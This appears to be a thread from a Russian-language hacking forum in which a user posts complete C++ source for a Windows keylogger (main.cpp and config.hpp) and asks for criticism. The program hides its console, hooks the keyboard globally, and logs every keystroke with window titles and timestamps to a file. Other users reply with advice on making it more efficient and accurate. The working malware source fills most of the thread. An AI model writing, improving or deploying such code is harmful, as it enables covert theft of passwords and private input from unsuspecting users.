• XSS.stack #1 – первый литературный журнал от юзеров форума

Простой кейлоггер на C++

rawbyte92

floppy-диск
Пользователь
Регистрация
26.11.2024
Сообщения
2
Реакции
3
Всем привет! Недавно решил попробовать написать свой кейлоггер на C++. Пока что фичь никаких нет, по типу отправки логов на сервер, просто пишет логи в файл. В общем, полностью открыт для любой конструктивной критики, идей для улучшения :)

Сурс ниже:

C++:
// main.cpp

#include <Windows.h>
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
#include <set>

#include "config.hpp"

#define IS_CAPSLOCK GetKeyState(VK_CAPITAL) & 0x0001
#define IS_SHIFT (GetKeyState(VK_SHIFT) & 0x8000) || (GetKeyState(VK_LSHIFT) & 0x8000) || (GetKeyState(VK_RSHIFT) & 0x8000)

std::wofstream logFile;
std::set<int> pressedKeys;
HANDLE hStdout;
HHOOK hHook;

LRESULT WINAPI HookCallback(int nCode, WPARAM wParam, LPARAM lParam);
void LogKey(std::wofstream& file, int vkCode);
bool KillSwitchActivated();

int main()
{
#ifndef DEBUG
    ShowWindow(FindWindowA("ConsoleWindowClass", nullptr), 0);
    FreeConsole();
#endif

    logFile.open(LOG_FILENAME, std::ios::app);

#ifdef DEBUG
    hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleTextAttribute(hStdout, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
    
    std::wcout << "[INFO] Logging into \"" << LOG_FILENAME << "\"\n";
#endif

    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);

    if (!hHook) {
#ifdef DEBUG
        SetConsoleTextAttribute(hStdout, FOREGROUND_RED | FOREGROUND_INTENSITY);
        std::cout << "[ERROR] Failed to install keyboard hook!\n";
#else
        return EXIT_FAILURE;
#endif
    }

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        Sleep(1);
    }

    return EXIT_SUCCESS;
}

LRESULT WINAPI HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0) {
        KBDLLHOOKSTRUCT* hookStruct = (KBDLLHOOKSTRUCT*)lParam;

        if (wParam == WM_KEYDOWN) {
            pressedKeys.insert(hookStruct->vkCode);
        }
        else if (wParam == WM_KEYUP) {
            pressedKeys.erase(hookStruct->vkCode);
        }

        if (KillSwitchActivated()) {
#ifdef DEBUG
            SetConsoleTextAttribute(hStdout, FOREGROUND_RED | FOREGROUND_GREEN);
            std::cout << "Kill switch key pressed! Quitting...\n";
            Sleep(750);
#endif
            UnhookWindowsHookEx(hHook);
            ExitProcess(0);
        }
        else {
            LogKey(logFile, hookStruct->vkCode);
#ifdef DEBUG
            std::cout << "[INFO] Logged key with code " << hookStruct->vkCode << "\n";
#endif
        }
    }
    
    return CallNextHookEx(hHook, nCode, wParam, lParam);
}

void LogKey(std::wofstream& file, int vkCode)
{
    std::wstringstream output;
    static wchar_t lastWindowTitle[256] = L"";
    
    HWND hForeground = GetForegroundWindow();
    
    // Retrieve the keyboard layout of an active window
    DWORD threadId = GetWindowThreadProcessId(hForeground, NULL);
    HKL layout = GetKeyboardLayout(threadId);

    if (hForeground) {
        // Get the window title
        wchar_t windowTitle[256] = L"";
        GetWindowText(hForeground, (LPWSTR)windowTitle, 256);

        // Make sure it's not the same window, so we don't have to
        // log the window title again
        if (wcsncmp(windowTitle, lastWindowTitle, sizeof(windowTitle) / sizeof(windowTitle[0])) != 0) {
            wcsncpy_s(lastWindowTitle, windowTitle, sizeof(lastWindowTitle) / sizeof(lastWindowTitle[0]));

            wchar_t timeStr[64] = L"";

            GetTimeFormatEx(LOCALE_NAME_USER_DEFAULT, 0, NULL, L"hh':'mm':'ss tt", timeStr, sizeof(timeStr) / sizeof(timeStr[0]));
            output << "\n[" << timeStr << "] Window \"" << windowTitle << "\"\n";
        }
    }

    if (KEY_NAMES.find(vkCode) != KEY_NAMES.end()) {
        output << KEY_NAMES.at(vkCode);
    }
    else {
        bool isUppercase = IS_CAPSLOCK; // check if capslock not activated

        // Check shift keys
        if (IS_SHIFT) {
            isUppercase = !isUppercase;
        }

        wchar_t key = MapVirtualKeyEx(vkCode, MAPVK_VK_TO_CHAR, layout);

        if (!isUppercase) {
            key = tolower(key);
        }

        output << key;
    }

    file << output.str();
    file.flush();
}

bool KillSwitchActivated()
{
    for (int key : KILL_SWITCH) {
        if (pressedKeys.find(key) == pressedKeys.end()) {
            return false;
        }
    }
    return true;
}

C++:
// config.hpp

#pragma once

#include <Windows.h>
#include <string>
#include <vector>
#include <map>

#define VK_CHAR_K 0x4b

constexpr std::wstring LOG_FILENAME = L"key.log";
const std::vector<int> KILL_SWITCH = { VK_LWIN, VK_LSHIFT, VK_CHAR_K };
const std::map<int, std::wstring> KEY_NAMES = {
    {VK_BACK,       L"[BACKSPACE]" },
    {VK_RETURN,        L"\n" },
    {VK_SPACE,        L"_" },
    {VK_TAB,        L"[TAB]" },
    {VK_SHIFT,        L"[SHIFT]" },
    {VK_LSHIFT,        L"[LSHIFT]" },
    {VK_RSHIFT,        L"[RSHIFT]" },
    {VK_CONTROL,    L"[CONTROL]" },
    {VK_LCONTROL,   L"[LCONTROL]" },
    {VK_RCONTROL,   L"[RCONTROL]" },
    {VK_MENU,        L"[ALT]" },
    {VK_LWIN,        L"[LWIN]" },
    {VK_RWIN,        L"[RWIN]" },
    {VK_ESCAPE,        L"[ESCAPE]" },
    {VK_END,        L"[END]" },
    {VK_HOME,        L"[HOME]" },
    {VK_LEFT,        L"[LEFT]" },
    {VK_RIGHT,        L"[RIGHT]" },
    {VK_UP,            L"[UP]" },
    {VK_DOWN,        L"[DOWN]" },
    {VK_PRIOR,        L"[PG_UP]" },
    {VK_NEXT,        L"[PG_DOWN]" },
    {VK_OEM_PERIOD,    L"." },
    {VK_DECIMAL,    L"." },
    {VK_OEM_PLUS,    L"+" },
    {VK_OEM_MINUS,    L"-" },
    {VK_ADD,        L"+" },
    {VK_SUBTRACT,    L"-" },
    {VK_CAPITAL,    L"[CAPSLOCK]" },
};
 
Всем привет! Недавно решил попробовать написать свой кейлоггер на C++. Пока что фичь никаких нет, по типу отправки логов на сервер, просто пишет логи в файл. В общем, полностью открыт для любой конструктивной критики, идей для улучшения :)

Избавься от вырвиглазных #ifdef на каждом углу

Посмотри в сторону ToUnicodeEx - даст возможность получать символ из юникода, а не просто чар (кроме ввода через IME)

Сохраняй состояние caps, shift - их нажатия также приходят в колбек, это более эффективный подход нежели вызывать функции проверки каждый раз

Сделай хук на смену окна и сохраняй изменения окна по факту отстука колбека (мьютексы не забудь) - лучше чем вызывать GetWindowText каждый раз

Кешируй нажатия клавиш (до смены окна например), дописывать по 1 символу в файл - идея так себе

Ну а из всего выше сказанного так и просятся пару классов

вместо std::map в твоем случае лучше использовать std::unordered_map, ведь порядок кода клавишы и ее строкового значения не важен

https://xss.pro/threads/134001/post-949671 держи для изучения
 
Последнее редактирование:
Избавься от вырвиглазных #ifdef на каждом углу

Посмотри в сторону ToUnicodeEx - даст возможность получать символ из юникода, а не просто чар (кроме ввода через IME)

Сохраняй состояние caps, shift - их нажатия также приходят в колбек, это более эффективный подход нежели вызывать функции проверки каждый раз

Сделай хук на смену окна и сохраняй изменения окна по факту отстука колбека (мьютексы не забудь) - лучше чем вызывать GetWindowText каждый раз

Кешируй нажатия клавиш (до смены окна например), дописывать по 1 символу в файл - идея так себе

Ну а из всего выше сказанного так и просятся пару классов

вместо std::map в твоем случае лучше использовать std::unordered_map, ведь порядок кода клавишы и ее строкового значения не важен

https://xss.pro/threads/134001/post-949671 держи для изучения

Спасибо огромное! Очень полезно).
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх